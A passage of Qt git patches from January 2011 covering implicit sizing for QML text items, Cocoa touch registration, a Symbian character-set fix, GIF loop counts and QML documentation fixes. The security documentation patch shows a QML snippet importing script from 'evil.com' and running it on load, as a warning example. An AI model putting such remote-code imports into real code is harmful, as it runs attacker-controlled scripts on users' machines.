    -        setContentsSize(QSize(newWidth, newHeight));
    -
    +        d->paintedSize = QSize(newWidth, newHeight);
    +        setContentsSize(d->paintedSize);
             emit paintedSizeChanged();
         } else {
             d->dirty = true;
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    index c534623..276d570 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    @@ -43,7 +43,7 @@
     #define QDECLARATIVETEXTEDIT_H
     
     #include "private/qdeclarativetext_p.h"
    -#include "private/qdeclarativepainteditem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     #include 
    @@ -58,7 +58,7 @@ QT_MODULE(Declarative)
     
     
     class QDeclarativeTextEditPrivate;
    -class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
    +class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePaintedItem
     {
         Q_OBJECT
         Q_ENUMS(VAlignment)
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    index 13fee50..98b3c6d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    @@ -54,7 +54,7 @@
     //
     
     #include "qdeclarativeitem.h"
    -#include "private/qdeclarativepainteditem_p_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     
     #include 
     
    @@ -62,7 +62,7 @@ QT_BEGIN_NAMESPACE
     class QTextLayout;
     class QTextDocument;
     class QTextControl;
    -class QDeclarativeTextEditPrivate : public QDeclarativePaintedItemPrivate
    +class QDeclarativeTextEditPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeTextEdit)
     
    @@ -70,8 +70,8 @@ public:
         QDeclarativeTextEditPrivate()
           : color("black"), hAlign(QDeclarativeTextEdit::AlignLeft), vAlign(QDeclarativeTextEdit::AlignTop),
           imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
    -      showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), textMargin(0.0),
    -      lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
    +      showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
    +      textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
           format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
           selectByMouse(false), canPaste(false),
           yoff(0)
    @@ -88,6 +88,7 @@ public:
         void updateDefaultTextOption();
         void relayoutDocument();
         void updateSelection();
    +    qreal implicitWidth() const;
         void focusChanged(bool);
     
         QString text;
    @@ -110,6 +111,7 @@ public:
         bool showInputPanelOnFocus : 1;
         bool clickCausedFocus : 1;
         bool persistentSelection : 1;
    +    bool requireImplicitWidth:1;
         qreal textMargin;
         int lastSelectionStart;
         int lastSelectionEnd;
    @@ -123,6 +125,7 @@ public:
         bool selectByMouse;
         bool canPaste;
         int yoff;
    +    QSize paintedSize;
     };
     
     QT_END_NAMESPACE
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index bd961f6..911c68c 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -76,7 +76,7 @@ QT_BEGIN_NAMESPACE
         \sa TextEdit, Text, {declarative/text/textselection}{Text Selection example}
     */
     QDeclarativeTextInput::QDeclarativeTextInput(QDeclarativeItem* parent)
    -    : QDeclarativePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
    +    : QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
     {
         Q_D(QDeclarativeTextInput);
         d->init();
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    index 7406fee..543f7a8 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    @@ -43,7 +43,7 @@
     #define QDECLARATIVETEXTINPUT_H
     
     #include "private/qdeclarativetext_p.h"
    -#include "private/qdeclarativepainteditem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     #include 
    @@ -58,7 +58,7 @@ QT_MODULE(Declarative)
     
     class QDeclarativeTextInputPrivate;
     class QValidator;
    -class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem
    +class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizePaintedItem
     {
         Q_OBJECT
         Q_ENUMS(HAlignment)
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    index 22f452a..9644410 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    @@ -44,7 +44,7 @@
     
     #include "private/qdeclarativetextinput_p.h"
     
    -#include "private/qdeclarativepainteditem_p_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     
     #include 
     
    @@ -66,7 +66,7 @@
     
     QT_BEGIN_NAMESPACE
     
    -class QDeclarativeTextInputPrivate : public QDeclarativePaintedItemPrivate
    +class QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeTextInput)
     public:
    diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    index dbed799..e636383 100644
    --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    @@ -83,6 +83,9 @@ private slots:
         void mouseFocus();
     
         void transformCrash();
    +    void implicitSize();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         template
    @@ -915,6 +918,83 @@ void tst_QDeclarativeItem::transformCrash()
         delete canvas;
     }
     
    +void tst_QDeclarativeItem::implicitSize()
    +{
    +    QDeclarativeView *canvas = new QDeclarativeView(0);
    +    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/implicitsize.qml"));
    +    canvas->show();
    +
    +    QDeclarativeItem *item = qobject_cast(canvas->rootObject());
    +    QVERIFY(item);
    +    QCOMPARE(item->width(), qreal(80));
    +    QCOMPARE(item->height(), qreal(60));
    +
    +    QCOMPARE(item->implicitWidth(), qreal(200));
    +    QCOMPARE(item->implicitHeight(), qreal(100));
    +
    +    QMetaObject::invokeMethod(item, "resetSize");
    +
    +    QCOMPARE(item->width(), qreal(200));
    +    QCOMPARE(item->height(), qreal(100));
    +
    +    QMetaObject::invokeMethod(item, "changeImplicit");
    +
    +    QCOMPARE(item->implicitWidth(), qreal(150));
    +    QCOMPARE(item->implicitHeight(), qreal(80));
    +    QCOMPARE(item->width(), qreal(150));
    +    QCOMPARE(item->height(), qreal(80));
    +
    +    delete canvas;
    +}
    +
    +void tst_QDeclarativeItem::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Item { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Item { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_QDeclarativeItem::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("implicitWidth") << "implicitWidth: 100"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Property \"implicitWidth\" not available in QtQuick/Item 1.0\n";
    +
    +    QTest::newRow("implicitHeight") << "implicitHeight: 100"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Property \"implicitHeight\" not available in QtQuick/Item 1.0\n";
    +
    +    QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Signal \"onImplicitWidthChanged\" not available in QtQuick/Item 1.0\n";
    +
    +    QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Signal \"onImplicitHeightChanged\" not available in QtQuick/Item 1.0\n";
    +}
    +
    +
     template
     T *tst_QDeclarativeItem::findItem(QGraphicsObject *parent, const QString &objectName)
     {
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index ae521a5..faea448 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -101,6 +101,8 @@ private slots:
         void clickLink();
     
         void QTBUG_12291();
    +    void implicitSize_data();
    +    void implicitSize();
     
     private:
         QStringList standard;
    @@ -1050,6 +1052,33 @@ void tst_qdeclarativetext::lineCount()
         QCOMPARE(myText->maximumLineCount(), 2);
     }
     
    +void tst_qdeclarativetext::implicitSize_data()
    +{
    +    QTest::addColumn("text");
    +    QTest::addColumn("wrap");
    +    QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
    +    QTest::newRow("richtext") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
    +    QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
    +    QTest::newRow("richtext_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
    +}
    +
    +void tst_qdeclarativetext::implicitSize()
    +{
    +    QFETCH(QString, text);
    +    QFETCH(QString, wrap);
    +    QString componentStr = "import QtQuick 1.1\nText { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
    +    QDeclarativeComponent textComponent(&engine);
    +    textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
    +    QDeclarativeText *textObject = qobject_cast(textComponent.create());
    +
    +    QVERIFY(textObject->width() < textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +
    +    textObject->resetWidth();
    +    QVERIFY(textObject->width() == textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +}
    +
     QTEST_MAIN(tst_qdeclarativetext)
     
     #include "tst_qdeclarativetext.moc"
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index 89e8fec..582b20f 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -127,6 +127,8 @@ private slots:
         void openInputPanelOnFocus();
         void geometrySignals();
         void pastingRichText_QTBUG_14003();
    +    void implicitSize_data();
    +    void implicitSize();
     
     private:
         void simulateKey(QDeclarativeView *, int key);
    @@ -1447,6 +1449,33 @@ void tst_qdeclarativetextedit::pastingRichText_QTBUG_14003()
     #endif
     }
     
    +void tst_qdeclarativetextedit::implicitSize_data()
    +{
    +    QTest::addColumn("text");
    +    QTest::addColumn("wrap");
    +    QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
    +    QTest::newRow("richtext") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
    +    QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
    +    QTest::newRow("richtext_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
    +}
    +
    +void tst_qdeclarativetextedit::implicitSize()
    +{
    +    QFETCH(QString, text);
    +    QFETCH(QString, wrap);
    +    QString componentStr = "import QtQuick 1.1\nTextEdit { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
    +    QDeclarativeComponent textComponent(&engine);
    +    textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
    +    QDeclarativeTextEdit *textObject = qobject_cast(textComponent.create());
    +
    +    QVERIFY(textObject->width() < textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +
    +    textObject->resetWidth();
    +    QVERIFY(textObject->width() == textObject->implicitWidth());
    +    QVERIFY(textObject->height() == textObject->implicitHeight());
    +}
    +
     QTEST_MAIN(tst_qdeclarativetextedit)
     
     #include "tst_qdeclarativetextedit.moc"
    -- 
    cgit v0.12
    
    
    From b1c715f8214233f5b573ed58fc89c9dd70beabb4 Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Mon, 24 Jan 2011 10:02:51 +0100
    Subject: Add support for disabling touch on to enhance scrolling in Cocoa
    
    On Mac/Cocoa, enabling touch on a widget slows down the scrolling
    performance of the whole application. It seems Cocoa spends some
    time in the background figuring out what to do with the touch
    events, and whether or not it should convert them to scroll/wheel
    events. Therefore, it makes sense to no subscribe for touch when
    the mouse is not over the widget, This patch implements that
    strategy, and the effect is huge when tested agains creator.
    
    Rev-By: brad
    ---
     src/gui/kernel/qapplication.cpp   | 16 ++++++++++++++++
     src/gui/kernel/qcocoaview_mac.mm  |  2 ++
     src/gui/kernel/qcocoaview_mac_p.h |  1 +
     src/gui/kernel/qwidget.cpp        |  1 +
     src/gui/kernel/qwidget_mac.mm     | 31 +++++++++++++++++++++++--------
     src/gui/kernel/qwidget_p.h        |  3 ++-
     src/gui/kernel/qwidget_s60.cpp    |  3 ++-
     src/gui/kernel/qwidget_win.cpp    |  3 ++-
     8 files changed, 49 insertions(+), 11 deletions(-)
    
    diff --git a/src/gui/kernel/qapplication.cpp b/src/gui/kernel/qapplication.cpp
    index 8545d63..af4a258 100644
    --- a/src/gui/kernel/qapplication.cpp
    +++ b/src/gui/kernel/qapplication.cpp
    @@ -4423,6 +4423,22 @@ bool QApplication::notify(QObject *receiver, QEvent *e)
             break;
         }
     #endif // QT_NO_GESTURES
    +#ifdef QT_MAC_USE_COCOA
    +    case QEvent::Enter:
    +        if (receiver->isWidgetType()) {
    +            QWidget *w = static_cast(receiver);
    +            if (w->testAttribute(Qt::WA_AcceptTouchEvents))
    +                qt_widget_private(w)->registerTouchWindow(true);
    +        }
    +    break;
    +    case QEvent::Leave:
    +        if (receiver->isWidgetType()) {
    +            QWidget *w = static_cast(receiver);
    +            if (w->testAttribute(Qt::WA_AcceptTouchEvents))
    +                qt_widget_private(w)->registerTouchWindow(false);
    +        }
    +    break;
    +#endif
         default:
             res = d->notify_helper(receiver, e);
             break;
    diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm
    index 575343f..18a2be1 100644
    --- a/src/gui/kernel/qcocoaview_mac.mm
    +++ b/src/gui/kernel/qcocoaview_mac.mm
    @@ -153,6 +153,8 @@ static int qCocoaViewCount = 0;
         composing = false;
         sendKeyEvents = true;
         fromKeyDownEvent = false;
    +    alienTouchCount = 0;
    +
         [self setHidden:YES];
         return self;
     }
    diff --git a/src/gui/kernel/qcocoaview_mac_p.h b/src/gui/kernel/qcocoaview_mac_p.h
    index fc14285..cc79b67 100644
    --- a/src/gui/kernel/qcocoaview_mac_p.h
    +++ b/src/gui/kernel/qcocoaview_mac_p.h
    @@ -71,6 +71,7 @@ Q_GUI_EXPORT
         bool sendKeyEvents;
         bool fromKeyDownEvent;
         QString *composingText;
    +    @public int alienTouchCount;
     }
     - (id)initWithQWidget:(QWidget *)widget widgetPrivate:(QWidgetPrivate *)widgetprivate;
     - (void) finishInitWithQWidget:(QWidget *)widget widgetPrivate:(QWidgetPrivate *)widgetprivate;
    diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp
    index f7d7d43..d3ccfd1 100644
    --- a/src/gui/kernel/qwidget.cpp
    +++ b/src/gui/kernel/qwidget.cpp
    @@ -327,6 +327,7 @@ QWidgetPrivate::QWidgetPrivate(int version)
         hasOwnContext = false;
         isInUnifiedToolbar = false;
         unifiedSurface = 0;
    +    touchEventsEnabled = false;
     #endif // QT_MAC_USE_COCOA
     #ifdef QWIDGET_EXTRA_DEBUG
         static int count = 0;
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index f8254ec..b3450ab 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -2697,8 +2697,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
             setWSGeometry();
         if (destroyid)
             qt_mac_destructView(destroyid);
    -    if (q->testAttribute(Qt::WA_AcceptTouchEvents))
    -        registerTouchWindow();
     }
     
     /*!
    @@ -4981,19 +4979,36 @@ void QWidgetPrivate::registerDropSite(bool on)
     #endif
     }
     
    -void QWidgetPrivate::registerTouchWindow()
    +void QWidgetPrivate::registerTouchWindow(bool enable)
     {
    +#ifdef QT_MAC_USE_COCOA
     #if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
         if (QSysInfo::MacintoshVersion < QSysInfo::MV_10_6)
             return;
    +
         Q_Q(QWidget);
    -    if (!q->testAttribute(Qt::WA_WState_Created))
    +    if (enable == touchEventsEnabled)
             return;
    -#ifndef QT_MAC_USE_COCOA
    -    // Needs implementation!
    +
    +    QCocoaView *view = static_cast(qt_mac_effectiveview_for(q));
    +    if (!view)
    +        return;
    +
    +    if (enable) {
    +        ++view->alienTouchCount;
    +        if (view->alienTouchCount == 1) {
    +            touchEventsEnabled = true;
    +            [view setAcceptsTouchEvents:YES];
    +        }
    +    } else {
    +        --view->alienTouchCount;
    +        if (view->alienTouchCount == 0) {
    +            touchEventsEnabled = false;
    +            [view setAcceptsTouchEvents:NO];
    +        }
    +    }
     #else
    -    NSView *view = qt_mac_effectiveview_for(q);
    -    [view setAcceptsTouchEvents:YES];
    +    Q_UNUSED(on);
     #endif
     #endif
     }
    diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
    index bfaf91a..ecfd85f 100644
    --- a/src/gui/kernel/qwidget_p.h
    +++ b/src/gui/kernel/qwidget_p.h
    @@ -859,6 +859,7 @@ public:
         bool isInUnifiedToolbar;
         QWindowSurface *unifiedSurface;
         QPoint toolbar_offset;
    +    bool touchEventsEnabled;
     #endif
         void determineWindowClass();
         void transferChildren();
    @@ -871,7 +872,7 @@ public:
         static OSStatus qt_window_event(EventHandlerCallRef er, EventRef event, void *);
         static OSStatus qt_widget_event(EventHandlerCallRef er, EventRef event, void *);
         static bool qt_widget_rgn(QWidget *, short, RgnHandle, bool);
    -    void registerTouchWindow();
    +    void registerTouchWindow(bool enable = true);
     #elif defined(Q_WS_QWS) // <--------------------------------------------------------- QWS
         void setMaxWindowState_helper();
         void setFullScreenSize_helper();
    diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp
    index cb72800..7547bec 100644
    --- a/src/gui/kernel/qwidget_s60.cpp
    +++ b/src/gui/kernel/qwidget_s60.cpp
    @@ -990,8 +990,9 @@ void QWidgetPrivate::setMask_sys(const QRegion& /* region */)
     
     }
     
    -void QWidgetPrivate::registerTouchWindow()
    +void QWidgetPrivate::registerTouchWindow(bool enable)
     {
    +    Q_UNUSED(enable);
     #ifdef QT_SYMBIAN_SUPPORTS_ADVANCED_POINTER
         Q_Q(QWidget);
         if (q->testAttribute(Qt::WA_WState_Created) && q->windowType() != Qt::Desktop) {
    diff --git a/src/gui/kernel/qwidget_win.cpp b/src/gui/kernel/qwidget_win.cpp
    index a02c5ba..54784a2 100644
    --- a/src/gui/kernel/qwidget_win.cpp
    +++ b/src/gui/kernel/qwidget_win.cpp
    @@ -2064,8 +2064,9 @@ void QWidgetPrivate::setModal_sys()
     {
     }
     
    -void QWidgetPrivate::registerTouchWindow()
    +void QWidgetPrivate::registerTouchWindow(bool enable)
     {
    +    Q_UNUSED(enable);
         Q_Q(QWidget);
     
         // enable WM_TOUCH* messages on our window
    -- 
    cgit v0.12
    
    
    From 5502ac79065fc220e3731d29c722be75013e2c35 Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Mon, 24 Jan 2011 10:39:21 +0100
    Subject: Cocoa: remove compiler warning
    
    ---
     src/gui/kernel/qwidget_mac.mm | 3 +--
     1 file changed, 1 insertion(+), 2 deletions(-)
    
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index b3450ab..03f496e 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4981,6 +4981,7 @@ void QWidgetPrivate::registerDropSite(bool on)
     
     void QWidgetPrivate::registerTouchWindow(bool enable)
     {
    +    Q_UNUSED(enable);
     #ifdef QT_MAC_USE_COCOA
     #if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
         if (QSysInfo::MacintoshVersion < QSysInfo::MV_10_6)
    @@ -5007,8 +5008,6 @@ void QWidgetPrivate::registerTouchWindow(bool enable)
                 [view setAcceptsTouchEvents:NO];
             }
         }
    -#else
    -    Q_UNUSED(on);
     #endif
     #endif
     }
    -- 
    cgit v0.12
    
    
    From 673da830f6f83438e4b52296dbdc61a33112e4ec Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Mon, 24 Jan 2011 11:43:27 +0100
    Subject: Partly revert b1c715f8214233f5b573ed58fc89c9dd70beabb4
    
    ---
     src/gui/kernel/qwidget_s60.cpp | 3 +--
     src/gui/kernel/qwidget_win.cpp | 3 +--
     2 files changed, 2 insertions(+), 4 deletions(-)
    
    diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp
    index 7547bec..cb72800 100644
    --- a/src/gui/kernel/qwidget_s60.cpp
    +++ b/src/gui/kernel/qwidget_s60.cpp
    @@ -990,9 +990,8 @@ void QWidgetPrivate::setMask_sys(const QRegion& /* region */)
     
     }
     
    -void QWidgetPrivate::registerTouchWindow(bool enable)
    +void QWidgetPrivate::registerTouchWindow()
     {
    -    Q_UNUSED(enable);
     #ifdef QT_SYMBIAN_SUPPORTS_ADVANCED_POINTER
         Q_Q(QWidget);
         if (q->testAttribute(Qt::WA_WState_Created) && q->windowType() != Qt::Desktop) {
    diff --git a/src/gui/kernel/qwidget_win.cpp b/src/gui/kernel/qwidget_win.cpp
    index 54784a2..a02c5ba 100644
    --- a/src/gui/kernel/qwidget_win.cpp
    +++ b/src/gui/kernel/qwidget_win.cpp
    @@ -2064,9 +2064,8 @@ void QWidgetPrivate::setModal_sys()
     {
     }
     
    -void QWidgetPrivate::registerTouchWindow(bool enable)
    +void QWidgetPrivate::registerTouchWindow()
     {
    -    Q_UNUSED(enable);
         Q_Q(QWidget);
     
         // enable WM_TOUCH* messages on our window
    -- 
    cgit v0.12
    
    
    From 7a5960b2991e9ac33bec0bb359ba825d0c4889af Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Mon, 24 Jan 2011 12:35:12 +0200
    Subject: Fixed UTF-8 application names in device application menu in Symbian
    
    CHARACTER_SET UTF8 statement was missing from generated .rss file,
    causing localized application names containing UTF-8 characters
    to be rendered incorrectly.
    
    Task-number: QT-4476
    Reviewed-by: axis
    ---
     qmake/generators/symbian/symbiancommon.cpp | 1 +
     1 file changed, 1 insertion(+)
    
    diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
    index 1f4a852..2270c2e 100644
    --- a/qmake/generators/symbian/symbiancommon.cpp
    +++ b/qmake/generators/symbian/symbiancommon.cpp
    @@ -629,6 +629,7 @@ void SymbianCommonGenerator::writeRssFile(QString &numberOfIcons, QString &iconF
             t << "// * user." << endl;
             t << "// ============================================================================" << endl;
             t << endl;
    +        t << "CHARACTER_SET UTF8" << endl;
             t << "#include " << endl;
             t << "#include \"" << fixedTarget << ".loc\"" << endl;
             t << endl;
    -- 
    cgit v0.12
    
    
    From 14e7c8bf3982d05f6fc5c744ebbad791db6ab191 Mon Sep 17 00:00:00 2001
    From: Simon Hausmann 
    Date: Mon, 24 Jan 2011 13:06:29 +0100
    Subject: Fix loop count in animanted gifs sometimes being incorrect
    
    Applied patch supplied in QT-4426, which also completes
    https://bugs.webkit.org/show_bug.cgi?id=36818
    
    Task-number: QT-4426
    Reviewed-by: Kim Motoyoshi Kalland 
    ---
     src/gui/image/qgifhandler.cpp | 10 ++++++++--
     1 file changed, 8 insertions(+), 2 deletions(-)
    
    diff --git a/src/gui/image/qgifhandler.cpp b/src/gui/image/qgifhandler.cpp
    index 4dd4743..7cb7373 100644
    --- a/src/gui/image/qgifhandler.cpp
    +++ b/src/gui/image/qgifhandler.cpp
    @@ -1046,7 +1046,7 @@ QGifHandler::QGifHandler()
     {
         gifFormat = new QGIFFormat;
         nextDelay = 100;
    -    loopCnt = 1;
    +    loopCnt = -1;
         frameNumber = -1;
         scanIsCached = false;
     }
    @@ -1192,7 +1192,13 @@ int QGifHandler::loopCount() const
             QGIFFormat::scan(device(), &imageSizes, &loopCnt);
             scanIsCached = true;
         }
    -    return loopCnt-1; // In GIF, loop count is iteration count, so subtract one
    +
    +    if (loopCnt == 0)
    +        return -1;
    +    else if (loopCnt == -1)
    +        return 0;
    +    else
    +        return loopCnt;
     }
     
     int QGifHandler::currentImageNumber() const
    -- 
    cgit v0.12
    
    
    From cdb2d3db1ece08af9ccf844cae6a5d3fa69a0d98 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 14:39:12 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     doc/src/declarative/basictypes.qdoc           |  19 ++--
     doc/src/declarative/qdeclarativesecurity.qdoc |   6 +-
     doc/src/declarative/qml-intro.qdoc            |  14 +--
     doc/src/images/declarative-colors.png         | Bin 0 -> 4993 bytes
     doc/src/snippets/declarative/colors.qml       | 125 ++++++++++++++++++++++++++
     doc/src/snippets/declarative/pics/checker.svg |  17 ++++
     6 files changed, 163 insertions(+), 18 deletions(-)
     create mode 100644 doc/src/images/declarative-colors.png
     create mode 100644 doc/src/snippets/declarative/colors.qml
     create mode 100644 doc/src/snippets/declarative/pics/checker.svg
    
    diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
    index 463e4a3..289a7a0 100644
    --- a/doc/src/declarative/basictypes.qdoc
    +++ b/doc/src/declarative/basictypes.qdoc
    @@ -174,13 +174,10 @@
         transparent blue to a quad of \c "#800000FF".
     
         Example:
    -    \qml
    -    Rectangle { color: "steelblue" }
    -    Rectangle { color: "transparent" }
    -    Rectangle { color: "#FF0000" }
    -    Rectangle { color: "#800000FF" }
    -    Rectangle { color: "#00000000" }    // ARGB fully transparent
    -    \endqml
    +    \div{float-right}
    +    \inlineimage declarative-colors.png
    +    \enddiv
    +    \snippet doc/src/snippets/declarative/colors.qml colors
     
         Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
         \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
    @@ -361,9 +358,11 @@
         Actions are used like this:
     
         \qml
    -    MouseArea { onClicked: myaction.trigger() }
    -    State { name: "enabled"; when: myaction.enabled == true }
    -    Text { text: someaction.text }
    +    Item {
    +        MouseArea { onClicked: myaction.trigger() }
    +        State { name: "enabled"; when: myaction.enabled == true }
    +        Text { text: someaction.text }
    +    }
         \endqml
     
         \sa {QML Basic Types}
    diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
    index 8aa031d..482043c 100644
    --- a/doc/src/declarative/qdeclarativesecurity.qdoc
    +++ b/doc/src/declarative/qdeclarativesecurity.qdoc
    @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
     For example, this QML content:
     
     \qml
    +import QtQuick 1.0
     import "http://evil.com/evil.js" as Evil
    -... Evil.doEvil() ...
    +
    +Component {
    +    onLoaded: Evil.doEvil()
    +}
     \endqml
     
     is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
    diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
    index 563dc3b..7b2d999 100644
    --- a/doc/src/declarative/qml-intro.qdoc
    +++ b/doc/src/declarative/qml-intro.qdoc
    @@ -247,13 +247,17 @@ referencing these properties from another object we use the property
     directly, instead of saying:
     
     \qml
    -myRectangle.anchors.top  // Wrong
    +Item {
    +    anchors.bottom: myRectangle.anchors.top  // Wrong
    +}
     \endqml
     
     we use
     
     \qml
    -myRectangle.top         // Correct
